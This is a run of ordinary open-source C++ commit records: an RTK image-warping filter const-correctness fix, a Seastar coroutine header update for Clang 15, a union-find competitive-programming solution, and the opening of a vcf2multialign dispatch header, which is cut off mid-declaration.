baseIndex[dim] + 1;\n        overlap *= distance[dim];\n        }\n      else\n        {\n        neighIndex[dim] = baseIndex[dim];\n        overlap *= 1.0 - distance[dim];\n        }\n\n      upper >>= 1;\n      }\n\n    \/\/ get neighbor value only if overlap is not zero\n    if ( overlap )\n      {\n      const DisplacementType input =\n        fieldPtr->GetPixel(neighIndex);\n      for ( unsigned int k = 0; k < TDVF::ImageDimension; k++ )\n        {\n        output[k] += overlap * static_cast< double >( input[k] );\n        }\n      totalOverlap += overlap;\n      }\n\n    if ( totalOverlap == 1.0 )\n      {\n      \/\/ finished\n      break;\n      }\n    }\n}\n\ntemplate <class TInputImage, class TOutputImage, class TDVF>\nvoid\nForwardWarpImageFilter<TInputImage, TOutputImage, TDVF>\n::GenerateData()\n{\n  Superclass::BeforeThreadedGenerateData();\n  DisplacementFieldPointer fieldPtr = this->GetDisplacementField();\n\n  \/\/ Connect input image to interpolator\n  m_Protected_StartIndex = fieldPtr->GetBufferedRegion().GetIndex();\n  for ( unsigned i = 0; i < TDVF::ImageDimension; i++ )\n    {\n    m_Protected_EndIndex[i] = m_Protected_StartIndex[i]\n                    + fieldPtr->GetBufferedRegion().GetSize()[i] - 1;\n    }\n\n  typename Superclass::InputImageConstPointer  inputPtr = this->GetInput();\n  typename Superclass::OutputImagePointer      outputPtr = this->GetOutput();\n\n  outputPtr->SetRegions(outputPtr->GetRequestedRegion());\n  outputPtr->Allocate();\n  outputPtr->FillBuffer(0);\n\n  \/\/ Allocate an image with the same metadata as the output\n  \/\/ to accumulate the weights during splat, and divide by the total weights at the end\n  typename TOutputImage::Pointer accumulate = TOutputImage::New();\n  accumulate->SetRegions(outputPtr->GetRequestedRegion());\n  accumulate->Allocate();\n  accumulate->FillBuffer(0);\n\n  \/\/ iterator for the output image\n  itk::ImageRegionConstIteratorWithIndex< TOutputImage > inputIt(\n        inputPtr, inputPtr->GetBufferedRegion());\n  itk::ImageRegionIterator< DisplacementFieldType >  fieldIt(fieldPtr, fieldPtr->GetBufferedRegion());\n  typename TOutputImage::IndexType        index;\n  typename TOutputImage::IndexType        baseIndex;\n  typename TOutputImage::IndexType        neighIndex;\n  double                                  distance[TInputImage::ImageDimension];\n  typename TOutputImage::PointType        point;\n  typename Superclass::DisplacementType displacement;\n  itk::NumericTraits<typename Superclass::DisplacementType>::SetLength(displacement, TInputImage::ImageDimension);\n\n  unsigned int numNeighbors(1 << TInputImage::ImageDimension);\n\n  \/\/ There is a bug in the ITK WarpImageFilter: m_DefFieldSizeSame\n  \/\/ is computed without taking origin, spacing and direction into\n  \/\/ account. So we perform a more thorough comparison between\n  \/\/ output and DVF than in itkWarpImageFilter::BeforeThreadedGenerateData()\n  bool skipEvaluateDisplacementAtContinuousIndex =\n      ( (outputPtr->GetLargestPossibleRegion() == this->GetDisplacementField()->GetLargestPossibleRegion())\n     && (outputPtr->GetSpacing() == this->GetDisplacementField()->GetSpacing())\n     && (outputPtr->GetOrigin() == this->GetDisplacementField()->GetOrigin())\n     && (outputPtr->GetDirection() == this->GetDisplacementField()->GetDirection())   );\n\n  while ( !inputIt.IsAtEnd() )\n    {\n    \/\/ get the input image index\n    index = inputIt.GetIndex();\n    inputPtr->TransformIndexToPhysicalPoint(index, point);\n\n    if (skipEvaluateDisplacementAtContinuousIndex)\n      displacement = fieldIt.Get();\n    else\n      this->Protected_EvaluateDisplacementAtPhysicalPoint(point, displacement);\n\n    for ( unsigned int j = 0; j < TInputImage::ImageDimension; j++ )\n      point[j] += displacement[j];\n\n    itk::ContinuousIndex< double, TInputImage::ImageDimension > continuousIndexInOutput;\n    outputPtr->TransformPhysicalPointToContinuousIndex(point, continuousIndexInOutput);\n\n    \/\/ compute the base index in output, ie the closest index below point\n    \/\/ Check if the baseIndex is in the output's requested region, otherwise skip the splat part\n    bool skip = false;\n\n    for ( unsigned int j = 0; j < TInputImage::ImageDimension; j++ )\n      {\n      baseIndex[j] = itk::Math::Floor<int, double>(continuousIndexInOutput[j]);\n      distance[j] = continuousIndexInOutput[j] - static_cast< double >(baseIndex[j]);\n      if ( (baseIndex[j] < outputPtr->GetRequestedRegion().GetIndex()[j] - 1) ||\n           (baseIndex[j] >= outputPtr->GetRequestedRegion().GetIndex()[j] + (int)outputPtr->GetRequestedRegion().GetSize()[j] ))\n        skip = true;\n      }\n\n    if (!skip)\n      {\n      \/\/ get the splat weights as the overlapping areas between\n      for ( unsigned int counter = 0; counter < numNeighbors; counter++ )\n        {\n        double       overlap = 1.0;    \/\/ fraction overlap\n        unsigned int upper = counter;  \/\/ each bit indicates upper\/lower neighbour\n\n        \/\/ get neighbor weights as the fraction of overlap\n        \/\/ of the neighbor pixels with a pixel centered on point\n        for ( unsigned int dim = 0; dim < TInputImage::ImageDimension; dim++ )\n          {\n          if ( upper & 1 )\n            {\n            neighIndex[dim] = baseIndex[dim] + 1;\n            overlap *= distance[dim];\n            }\n          else\n            {\n            neighIndex[dim] = baseIndex[dim];\n            overlap *= 1.0 - distance[dim];\n            }\n\n          upper >>= 1;\n          }\n\n        if (outputPtr->GetRequestedRegion().IsInside(neighIndex))\n          {\n          \/\/ Perform splat with this weight, both in output and in the temporary\n          \/\/ image that accumulates weights\n          outputPtr->SetPixel(neighIndex, outputPtr->GetPixel(neighIndex) + overlap * inputIt.Get() );\n          accumulate->SetPixel(neighIndex, accumulate->GetPixel(neighIndex) + overlap);\n          }\n        }\n      }\n\n    ++inputIt;\n    ++fieldIt;\n    }\n\n  \/\/ Divide the output by the accumulated weights, if they are non-zero\n  itk::ImageRegionIterator< TOutputImage > outputIt(outputPtr, outputPtr->GetRequestedRegion());\n  itk::ImageRegionIterator< TOutputImage > accIt(accumulate, outputPtr->GetRequestedRegion());\n  while ( !outputIt.IsAtEnd() )\n    {\n    if (accIt.Get())\n      outputIt.Set(outputIt.Get() \/ accIt.Get());\n\n    ++outputIt;\n    ++accIt;\n    }\n\n  \/\/ Replace the holes with the weighted mean of their neighbors\n  itk::Size<TOutputImage::ImageDimension> radius;\n  radius.Fill(3);\n  unsigned int pixelsInNeighborhood = 1;\n  for (unsigned int dim=0; dim< TOutputImage::ImageDimension; dim++)\n    pixelsInNeighborhood *= 2 * radius[dim] + 1;\n\n  itk::NeighborhoodIterator< TOutputImage > outputIt2(radius, outputPtr, outputPtr->GetRequestedRegion());\n  itk::NeighborhoodIterator< TOutputImage > accIt2(radius, accumulate, outputPtr->GetRequestedRegion());\n\n  itk::ZeroFluxNeumannBoundaryCondition<TInputImage> zeroFlux;\n  outputIt2.OverrideBoundaryCondition(&zeroFlux);\n\n  itk::ConstantBoundaryCondition<TInputImage> constant;\n  accIt2.OverrideBoundaryCondition(&constant);\n\n  while ( !outputIt2.IsAtEnd() )\n    {\n    if (!accIt2.GetCenterPixel())\n      {\n      \/\/ Compute the mean of the neighboring pixels, weighted by the accumulated weights\n      typename TOutputImage::PixelType value = 0;\n      typename TOutputImage::PixelType weight = 0;\n      for (unsigned int idx=0; idx<pixelsInNeighborhood; idx++)\n        {\n        value += accIt2.GetPixel(idx) * outputIt2.GetPixel(idx);\n        weight += accIt2.GetPixel(idx);\n        }\n\n      \/\/ Replace the hole with this value, or zero (if all surrounding pixels were holes)\n      if (weight)\n        outputIt2.SetCenterPixel(value \/ weight);\n      else\n        outputIt2.SetCenterPixel(0);\n      }\n    ++outputIt2;\n    ++accIt2;\n    }\n\n  Superclass::AfterThreadedGenerateData();\n}\n\n} \/\/ end namespace rtk\n\n#endif \/\/rtkForwardWarpImageFilter_hxx\n<commit_msg>BUG: Fix DisplacementField const correctness for ITK-v4.13<commit_after>\/*=========================================================================\n *\n *  Copyright RTK Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n#ifndef rtkForwardWarpImageFilter_hxx\n#define rtkForwardWarpImageFilter_hxx\n\n#include \"rtkForwardWarpImageFilter.h\"\n#include \"rtkHomogeneousMatrix.h\"\n\n#include <itkImageRegionConstIterator.h>\n#include <itkImageRegionConstIteratorWithIndex.h>\n#include <itkNeighborhoodIterator.h>\n#include <itkConstantBoundaryCondition.h>\n#include <itkLinearInterpolateImageFunction.h>\n#include <itkMacro.h>\n\nnamespace rtk\n{\n\ntemplate <class TInputImage, class TOutputImage, class TDVF>\nForwardWarpImageFilter<TInputImage, TOutputImage, TDVF>\n::ForwardWarpImageFilter()\n{\n  m_Protected_DefFieldSizeSame = false;\n  m_Protected_EndIndex.Fill(0);\n  m_Protected_StartIndex.Fill(0);\n}\n\ntemplate <class TInputImage, class TOutputImage, class TDVF>\nvoid\nForwardWarpImageFilter<TInputImage, TOutputImage, TDVF>\n::Protected_EvaluateDisplacementAtPhysicalPoint(const PointType & point, DisplacementType &output)\n{\n\n  const DisplacementFieldType* fieldPtr = this->GetDisplacementField();\n\n  itk::ContinuousIndex< double, TDVF::ImageDimension > index;\n  fieldPtr->TransformPhysicalPointToContinuousIndex(point, index);\n  unsigned int dim;  \/\/ index over dimension\n  \/**\n   * Compute base index = closest index below point\n   * Compute distance from point to base index\n   *\/\n  typename TDVF::IndexType baseIndex;\n  typename TDVF::IndexType neighIndex;\n  double    distance[TDVF::ImageDimension];\n\n  for ( dim = 0; dim < TDVF::ImageDimension; dim++ )\n    {\n    baseIndex[dim] = itk::Math::Floor< typename TDVF::IndexValueType >(index[dim]);\n\n    if ( baseIndex[dim] >=  this->m_Protected_StartIndex[dim] )\n      {\n      if ( baseIndex[dim] <  this->m_Protected_EndIndex[dim] )\n        {\n        distance[dim] = index[dim] - static_cast< double >( baseIndex[dim] );\n        }\n      else\n        {\n        baseIndex[dim] = this->m_Protected_EndIndex[dim];\n        distance[dim] = 0.0;\n        }\n      }\n    else\n      {\n      baseIndex[dim] = this->m_Protected_StartIndex[dim];\n      distance[dim] = 0.0;\n      }\n    }\n\n  \/**\n   * Interpolated value is the weight some of each of the surrounding\n   * neighbors. The weight for each neighbour is the fraction overlap\n   * of the neighbor pixel with respect to a pixel centered on point.\n   *\/\n  output.Fill(0);\n\n  double       totalOverlap = 0.0;\n  unsigned int numNeighbors(1 << TInputImage::ImageDimension);\n\n  for ( unsigned int counter = 0; counter < numNeighbors; counter++ )\n    {\n    double       overlap = 1.0;    \/\/ fraction overlap\n    unsigned int upper = counter;  \/\/ each bit indicates upper\/lower neighbour\n\n    \/\/ get neighbor index and overlap fraction\n    for ( dim = 0; dim < TDVF::ImageDimension; dim++ )\n      {\n      if ( upper & 1 )\n        {\n        neighIndex[dim] = baseIndex[dim] + 1;\n        overlap *= distance[dim];\n        }\n      else\n        {\n        neighIndex[dim] = baseIndex[dim];\n        overlap *= 1.0 - distance[dim];\n        }\n\n      upper >>= 1;\n      }\n\n    \/\/ get neighbor value only if overlap is not zero\n    if ( overlap )\n      {\n      const DisplacementType input =\n        fieldPtr->GetPixel(neighIndex);\n      for ( unsigned int k = 0; k < TDVF::ImageDimension; k++ )\n        {\n        output[k] += overlap * static_cast< double >( input[k] );\n        }\n      totalOverlap += overlap;\n      }\n\n    if ( totalOverlap == 1.0 )\n      {\n      \/\/ finished\n      break;\n      }\n    }\n}\n\ntemplate <class TInputImage, class TOutputImage, class TDVF>\nvoid\nForwardWarpImageFilter<TInputImage, TOutputImage, TDVF>\n::GenerateData()\n{\n  Superclass::BeforeThreadedGenerateData();\n  const DisplacementFieldType* fieldPtr = this->GetDisplacementField();\n\n  \/\/ Connect input image to interpolator\n  m_Protected_StartIndex = fieldPtr->GetBufferedRegion().GetIndex();\n  for ( unsigned i = 0; i < TDVF::ImageDimension; i++ )\n    {\n    m_Protected_EndIndex[i] = m_Protected_StartIndex[i]\n                    + fieldPtr->GetBufferedRegion().GetSize()[i] - 1;\n    }\n\n  typename Superclass::InputImageConstPointer  inputPtr = this->GetInput();\n  typename Superclass::OutputImagePointer      outputPtr = this->GetOutput();\n\n  outputPtr->SetRegions(outputPtr->GetRequestedRegion());\n  outputPtr->Allocate();\n  outputPtr->FillBuffer(0);\n\n  \/\/ Allocate an image with the same metadata as the output\n  \/\/ to accumulate the weights during splat, and divide by the total weights at the end\n  typename TOutputImage::Pointer accumulate = TOutputImage::New();\n  accumulate->SetRegions(outputPtr->GetRequestedRegion());\n  accumulate->Allocate();\n  accumulate->FillBuffer(0);\n\n  \/\/ iterator for the output image\n  itk::ImageRegionConstIteratorWithIndex< TOutputImage > inputIt(\n        inputPtr, inputPtr->GetBufferedRegion());\n  itk::ImageRegionIterator< const DisplacementFieldType >  fieldIt(fieldPtr, fieldPtr->GetBufferedRegion());\n  typename TOutputImage::IndexType        index;\n  typename TOutputImage::IndexType        baseIndex;\n  typename TOutputImage::IndexType        neighIndex;\n  double                                  distance[TInputImage::ImageDimension];\n  typename TOutputImage::PointType        point;\n  typename Superclass::DisplacementType displacement;\n  itk::NumericTraits<typename Superclass::DisplacementType>::SetLength(displacement, TInputImage::ImageDimension);\n\n  unsigned int numNeighbors(1 << TInputImage::ImageDimension);\n\n  \/\/ There is a bug in the ITK WarpImageFilter: m_DefFieldSizeSame\n  \/\/ is computed without taking origin, spacing and direction into\n  \/\/ account. So we perform a more thorough comparison between\n  \/\/ output and DVF than in itkWarpImageFilter::BeforeThreadedGenerateData()\n  bool skipEvaluateDisplacementAtContinuousIndex =\n      ( (outputPtr->GetLargestPossibleRegion() == this->GetDisplacementField()->GetLargestPossibleRegion())\n     && (outputPtr->GetSpacing() == this->GetDisplacementField()->GetSpacing())\n     && (outputPtr->GetOrigin() == this->GetDisplacementField()->GetOrigin())\n     && (outputPtr->GetDirection() == this->GetDisplacementField()->GetDirection())   );\n\n  while ( !inputIt.IsAtEnd() )\n    {\n    \/\/ get the input image index\n    index = inputIt.GetIndex();\n    inputPtr->TransformIndexToPhysicalPoint(index, point);\n\n    if (skipEvaluateDisplacementAtContinuousIndex)\n      displacement = fieldIt.Get();\n    else\n      this->Protected_EvaluateDisplacementAtPhysicalPoint(point, displacement);\n\n    for ( unsigned int j = 0; j < TInputImage::ImageDimension; j++ )\n      point[j] += displacement[j];\n\n    itk::ContinuousIndex< double, TInputImage::ImageDimension > continuousIndexInOutput;\n    outputPtr->TransformPhysicalPointToContinuousIndex(point, continuousIndexInOutput);\n\n    \/\/ compute the base index in output, ie the closest index below point\n    \/\/ Check if the baseIndex is in the output's requested region, otherwise skip the splat part\n    bool skip = false;\n\n    for ( unsigned int j = 0; j < TInputImage::ImageDimension; j++ )\n      {\n      baseIndex[j] = itk::Math::Floor<int, double>(continuousIndexInOutput[j]);\n      distance[j] = continuousIndexInOutput[j] - static_cast< double >(baseIndex[j]);\n      if ( (baseIndex[j] < outputPtr->GetRequestedRegion().GetIndex()[j] - 1) ||\n           (baseIndex[j] >= outputPtr->GetRequestedRegion().GetIndex()[j] + (int)outputPtr->GetRequestedRegion().GetSize()[j] ))\n        skip = true;\n      }\n\n    if (!skip)\n      {\n      \/\/ get the splat weights as the overlapping areas between\n      for ( unsigned int counter = 0; counter < numNeighbors; counter++ )\n        {\n        double       overlap = 1.0;    \/\/ fraction overlap\n        unsigned int upper = counter;  \/\/ each bit indicates upper\/lower neighbour\n\n        \/\/ get neighbor weights as the fraction of overlap\n        \/\/ of the neighbor pixels with a pixel centered on point\n        for ( unsigned int dim = 0; dim < TInputImage::ImageDimension; dim++ )\n          {\n          if ( upper & 1 )\n            {\n            neighIndex[dim] = baseIndex[dim] + 1;\n            overlap *= distance[dim];\n            }\n          else\n            {\n            neighIndex[dim] = baseIndex[dim];\n            overlap *= 1.0 - distance[dim];\n            }\n\n          upper >>= 1;\n          }\n\n        if (outputPtr->GetRequestedRegion().IsInside(neighIndex))\n          {\n          \/\/ Perform splat with this weight, both in output and in the temporary\n          \/\/ image that accumulates weights\n          outputPtr->SetPixel(neighIndex, outputPtr->GetPixel(neighIndex) + overlap * inputIt.Get() );\n          accumulate->SetPixel(neighIndex, accumulate->GetPixel(neighIndex) + overlap);\n          }\n        }\n      }\n\n    ++inputIt;\n    ++fieldIt;\n    }\n\n  \/\/ Divide the output by the accumulated weights, if they are non-zero\n  itk::ImageRegionIterator< TOutputImage > outputIt(outputPtr, outputPtr->GetRequestedRegion());\n  itk::ImageRegionIterator< TOutputImage > accIt(accumulate, outputPtr->GetRequestedRegion());\n  while ( !outputIt.IsAtEnd() )\n    {\n    if (accIt.Get())\n      outputIt.Set(outputIt.Get() \/ accIt.Get());\n\n    ++outputIt;\n    ++accIt;\n    }\n\n  \/\/ Replace the holes with the weighted mean of their neighbors\n  itk::Size<TOutputImage::ImageDimension> radius;\n  radius.Fill(3);\n  unsigned int pixelsInNeighborhood = 1;\n  for (unsigned int dim=0; dim< TOutputImage::ImageDimension; dim++)\n    pixelsInNeighborhood *= 2 * radius[dim] + 1;\n\n  itk::NeighborhoodIterator< TOutputImage > outputIt2(radius, outputPtr, outputPtr->GetRequestedRegion());\n  itk::NeighborhoodIterator< TOutputImage > accIt2(radius, accumulate, outputPtr->GetRequestedRegion());\n\n  itk::ZeroFluxNeumannBoundaryCondition<TInputImage> zeroFlux;\n  outputIt2.OverrideBoundaryCondition(&zeroFlux);\n\n  itk::ConstantBoundaryCondition<TInputImage> constant;\n  accIt2.OverrideBoundaryCondition(&constant);\n\n  while ( !outputIt2.IsAtEnd() )\n    {\n    if (!accIt2.GetCenterPixel())\n      {\n      \/\/ Compute the mean of the neighboring pixels, weighted by the accumulated weights\n      typename TOutputImage::PixelType value = 0;\n      typename TOutputImage::PixelType weight = 0;\n      for (unsigned int idx=0; idx<pixelsInNeighborhood; idx++)\n        {\n        value += accIt2.GetPixel(idx) * outputIt2.GetPixel(idx);\n        weight += accIt2.GetPixel(idx);\n        }\n\n      \/\/ Replace the hole with this value, or zero (if all surrounding pixels were holes)\n      if (weight)\n        outputIt2.SetCenterPixel(value \/ weight);\n      else\n        outputIt2.SetCenterPixel(0);\n      }\n    ++outputIt2;\n    ++accIt2;\n    }\n\n  Superclass::AfterThreadedGenerateData();\n}\n\n} \/\/ end namespace rtk\n\n#endif \/\/rtkForwardWarpImageFilter_hxx\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2019 ScyllaDB Ltd.\n *\/\n\n#pragma once\n\n\/\/ Clang currently only supports the TS\n#if __has_include(<coroutine>) && !defined(__clang__)\n#include <coroutine>\n#define SEASTAR_INTERNAL_COROUTINE_NAMESPACE std\n#elif __has_include(<experimental\/coroutine>)\n#include <experimental\/coroutine>\n#define SEASTAR_INTERNAL_COROUTINE_NAMESPACE std::experimental\n#else\n#define SEASTAR_INTERNAL_COROUTINE_NAMESPACE std::experimental\n\n\/\/ We are not exactly allowed to defined anything in the std namespace, but this\n\/\/ makes coroutines work with libstdc++. All of this is experimental anyway.\n\nnamespace std::experimental {\n\ntemplate<typename Promise = void>\nclass coroutine_handle {\n    void* _pointer = nullptr;\npublic:\n    coroutine_handle() = default;\n\n    coroutine_handle &operator=(nullptr_t) noexcept {\n        _pointer = nullptr;\n        return *this;\n    }\n\n    explicit operator bool() const noexcept { return _pointer; }\n\n    static coroutine_handle from_address(void* ptr) noexcept {\n        coroutine_handle hndl;\n        hndl._pointer =ptr;\n        return hndl;\n    }\n    void* address() const noexcept { return _pointer; }\n\n    static coroutine_handle from_promise(Promise& promise) noexcept {\n        coroutine_handle hndl;\n        hndl._pointer = __builtin_coro_promise(&promise, alignof(Promise), true);\n        return hndl;\n    }\n    Promise& promise() const noexcept {\n        return *reinterpret_cast<Promise*>(__builtin_coro_promise(_pointer, alignof(Promise), false));\n    }\n\n    void operator()() noexcept { resume(); }\n\n    void resume() const noexcept { __builtin_coro_resume(_pointer); }\n    void destroy() const noexcept { __builtin_coro_destroy(_pointer); }\n    bool done() const noexcept { return __builtin_coro_done(_pointer); }\n\n    operator coroutine_handle<>() const noexcept;\n};\n\ntemplate<>\nclass coroutine_handle<void> {\n    void* _pointer = nullptr;\npublic:\n    coroutine_handle() = default;\n\n    coroutine_handle &operator=(nullptr_t) noexcept {\n        _pointer = nullptr;\n        return *this;\n    }\n\n    explicit operator bool() const noexcept { return _pointer; }\n\n    static coroutine_handle from_address(void* ptr) noexcept {\n        coroutine_handle hndl;\n        hndl._pointer = ptr;\n        return hndl;\n    }\n    void* address() const noexcept { return _pointer; }\n\n    void operator()() noexcept { resume(); }\n\n    void resume() const noexcept { __builtin_coro_resume(_pointer); }\n    void destroy() const noexcept { __builtin_coro_destroy(_pointer); }\n    bool done() const noexcept { return __builtin_coro_done(_pointer); }\n};\n\nstruct suspend_never {\n    constexpr bool await_ready() const noexcept { return true; }\n    template<typename T>\n    constexpr void await_suspend(coroutine_handle<T>) noexcept { }\n    constexpr void await_resume() noexcept { }\n};\n\nstruct suspend_always {\n    constexpr bool await_ready() const noexcept { return false; }\n    template<typename T>\n    constexpr void await_suspend(coroutine_handle<T>) noexcept { }\n    constexpr void await_resume() noexcept { }\n};\n\ntemplate <typename Promise>\ncoroutine_handle<Promise>::operator coroutine_handle<>() const noexcept {\n    return coroutine_handle<>::from_address(address());\n}\n\ntemplate<typename T, typename... Args>\nclass coroutine_traits { };\n\n}\n\n#endif\n<commit_msg>std-coroutine: include <coroutine> for LLVM-15<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright (C) 2019 ScyllaDB Ltd.\n *\/\n\n#pragma once\n\n\/\/ Clang < 15 only supports the TS\n#if __has_include(<coroutine>) && (!defined(__clang__) || __clang_major__ >= 15)\n#include <coroutine>\n#define SEASTAR_INTERNAL_COROUTINE_NAMESPACE std\n#elif __has_include(<experimental\/coroutine>)\n#include <experimental\/coroutine>\n#define SEASTAR_INTERNAL_COROUTINE_NAMESPACE std::experimental\n#else\n#define SEASTAR_INTERNAL_COROUTINE_NAMESPACE std::experimental\n\n\/\/ We are not exactly allowed to defined anything in the std namespace, but this\n\/\/ makes coroutines work with libstdc++. All of this is experimental anyway.\n\nnamespace std::experimental {\n\ntemplate<typename Promise = void>\nclass coroutine_handle {\n    void* _pointer = nullptr;\npublic:\n    coroutine_handle() = default;\n\n    coroutine_handle &operator=(nullptr_t) noexcept {\n        _pointer = nullptr;\n        return *this;\n    }\n\n    explicit operator bool() const noexcept { return _pointer; }\n\n    static coroutine_handle from_address(void* ptr) noexcept {\n        coroutine_handle hndl;\n        hndl._pointer =ptr;\n        return hndl;\n    }\n    void* address() const noexcept { return _pointer; }\n\n    static coroutine_handle from_promise(Promise& promise) noexcept {\n        coroutine_handle hndl;\n        hndl._pointer = __builtin_coro_promise(&promise, alignof(Promise), true);\n        return hndl;\n    }\n    Promise& promise() const noexcept {\n        return *reinterpret_cast<Promise*>(__builtin_coro_promise(_pointer, alignof(Promise), false));\n    }\n\n    void operator()() noexcept { resume(); }\n\n    void resume() const noexcept { __builtin_coro_resume(_pointer); }\n    void destroy() const noexcept { __builtin_coro_destroy(_pointer); }\n    bool done() const noexcept { return __builtin_coro_done(_pointer); }\n\n    operator coroutine_handle<>() const noexcept;\n};\n\ntemplate<>\nclass coroutine_handle<void> {\n    void* _pointer = nullptr;\npublic:\n    coroutine_handle() = default;\n\n    coroutine_handle &operator=(nullptr_t) noexcept {\n        _pointer = nullptr;\n        return *this;\n    }\n\n    explicit operator bool() const noexcept { return _pointer; }\n\n    static coroutine_handle from_address(void* ptr) noexcept {\n        coroutine_handle hndl;\n        hndl._pointer = ptr;\n        return hndl;\n    }\n    void* address() const noexcept { return _pointer; }\n\n    void operator()() noexcept { resume(); }\n\n    void resume() const noexcept { __builtin_coro_resume(_pointer); }\n    void destroy() const noexcept { __builtin_coro_destroy(_pointer); }\n    bool done() const noexcept { return __builtin_coro_done(_pointer); }\n};\n\nstruct suspend_never {\n    constexpr bool await_ready() const noexcept { return true; }\n    template<typename T>\n    constexpr void await_suspend(coroutine_handle<T>) noexcept { }\n    constexpr void await_resume() noexcept { }\n};\n\nstruct suspend_always {\n    constexpr bool await_ready() const noexcept { return false; }\n    template<typename T>\n    constexpr void await_suspend(coroutine_handle<T>) noexcept { }\n    constexpr void await_resume() noexcept { }\n};\n\ntemplate <typename Promise>\ncoroutine_handle<Promise>::operator coroutine_handle<>() const noexcept {\n    return coroutine_handle<>::from_address(address());\n}\n\ntemplate<typename T, typename... Args>\nclass coroutine_traits { };\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma GCC optimize (\"O3\")\n#include <bits\/stdc++.h>\n\nusing namespace std;\nconst int N = (1<<17) , M = (1<<14), OO = 0x3f3f3f3f;\n\nint n, q;\nint t, a, b;\n\nint parent[N];\n\nint findParent(int x){\n\tif(parent[x] == x)\treturn x;\n\treturn parent[x] = findParent(parent[x]);\n}\n\nbool sameSet(int a, int b){\n\treturn findParent(a) == findParent(b);\n}\n\nvoid unionSet(int a, int b){\n\tint pa = findParent(a), pb = findParent(b);\n\tif(pa == pb)\treturn;\n\tparent[pb] = pa;\n}\n\nvoid init(){\n\tfor(int i = 0 ; i <= n ; ++i)\tparent[i] = i;\n}\n\nint main(){\n  \/\/ freopen(\"i.in\", \"rt\", stdin);\n  \/\/ freopen(\"o.out\", \"wt\", stdout);\n\tscanf(\"%d %d\", &n, &q);\n  init();\n  while(q--){\n  \tscanf(\"%d %d %d\", &t, &a, &b);\n  \tif(t){\t\t\/\/Make Friends\n  \t\tunionSet(a, b);\n  \t}else{\t\t\/\/Are Friends?\n  \t\tprintf(\"%d\\n\", sameSet(a, b));\n  \t}\n  }\n\treturn 0;\n}\n\n\n\n\n\n\n\n\n<commit_msg>Edited DSU naming<commit_after>#include <cstdio>\n#include <numeric>\n\nusing namespace std;\nconst int N = 1e5+5 , M = (1<<14), OO = 0x3f3f3f3f;\n\nint n, q;\nint t, a, b;\n\nint parent[N];\ninline void init(){\n  iota(parent, parent+N, 0);\n}\n\nint findParent(int x){\n\tif(parent[x] == x)\treturn x;\n\treturn parent[x] = findParent(parent[x]);\n}\n\ninline bool sameSet(int a, int b){\n\treturn findParent(a) == findParent(b);\n}\n\ninline void merge(int a, int b){\n\ta = findParent(a), b = findParent(b);\n\tif(a == b)\treturn;\n\tparent[b] = a;\n}\n\n\nint main(){\n\tscanf(\"%d %d\", &n, &q);\n  init();\n  while(q--){\n  \tscanf(\"%d %d %d\", &t, &a, &b);\n  \tif(t){\t\t\/\/Make Friends\n  \t\tmerge(a, b);\n  \t}else{\t\t\/\/Are Friends?\n  \t\tprintf(\"%d\\n\", sameSet(a, b));\n  \t}\n  }\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2016-2017 Tuukka Norri\n * This code is licensed under MIT license (see LICENSE for details).\n *\/\n\n#ifndef VCF2MULTIALIGN_DISPATCH_FN_HH\n#define VCF2MULTIALIGN_DISPATCH_FN_HH\n\n#include <cassert>\n#include <cstdint>\n#include <cstdio>\n#include <dispatch\/dispatch.h>\n#include <iostream>\n#include <string>\n#include <stdexcept>\n\n\nnamespace vcf2multialign { namespace detail {\n\t\n\ttemplate <typename Fn>\n\tclass dispatch_fn_context\n\t{\n\tpublic:\n\t\ttypedef Fn function_type;\n\t\t\n\tprotected:\n\t\tfunction_type m_fn;\n\t\t\n\tpublic:\n\t\tdispatch_fn_context(Fn &&fn):\n\t\t\tm_fn(std::move(fn))\n\t\t{\n\t\t}\n\t\t\n\t\tstatic void call_fn(void *dispatch_context)\n\t\t{\n\t\t\tassert(dispatch_context);\n\t\t\tauto *ctx(reinterpret_cast <dispatch_fn_context *>(dispatch_context));\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tctx->m_fn();\n\t\t\t}\n\t\t\tcatch (std::exception const &exc)\n\t\t\t{\n\t\t\t\tstd::cerr << \"Caught exception: \" << exc.what() << std::endl;\n\t\t\t}\n\t\t\tcatch (...)\n\t\t\t{\n\t\t\t\tstd::cerr << \"Caught non-std::exception.\" << std::endl;\n\t\t\t}\n\t\t\t\n\t\t\tdelete ctx;\n\t\t}\n\t};\n\t\n\t\n\ttemplate <typename t_owner, void(t_owner::*t_fn)()>\n\tvoid call_member_function(void *ctx)\n\t{\n\t\tt_owner *owner(static_cast <t_owner *>(ctx));\n\t\t(owner->*t_fn)();\n\t}\n}}\n\n\nnamespace vcf2multialign {\n\t\n\t\/\/ Allow passing pointer-to-member-function to dispatch_async_f without std::function.\n\ttemplate <typename t_owner, 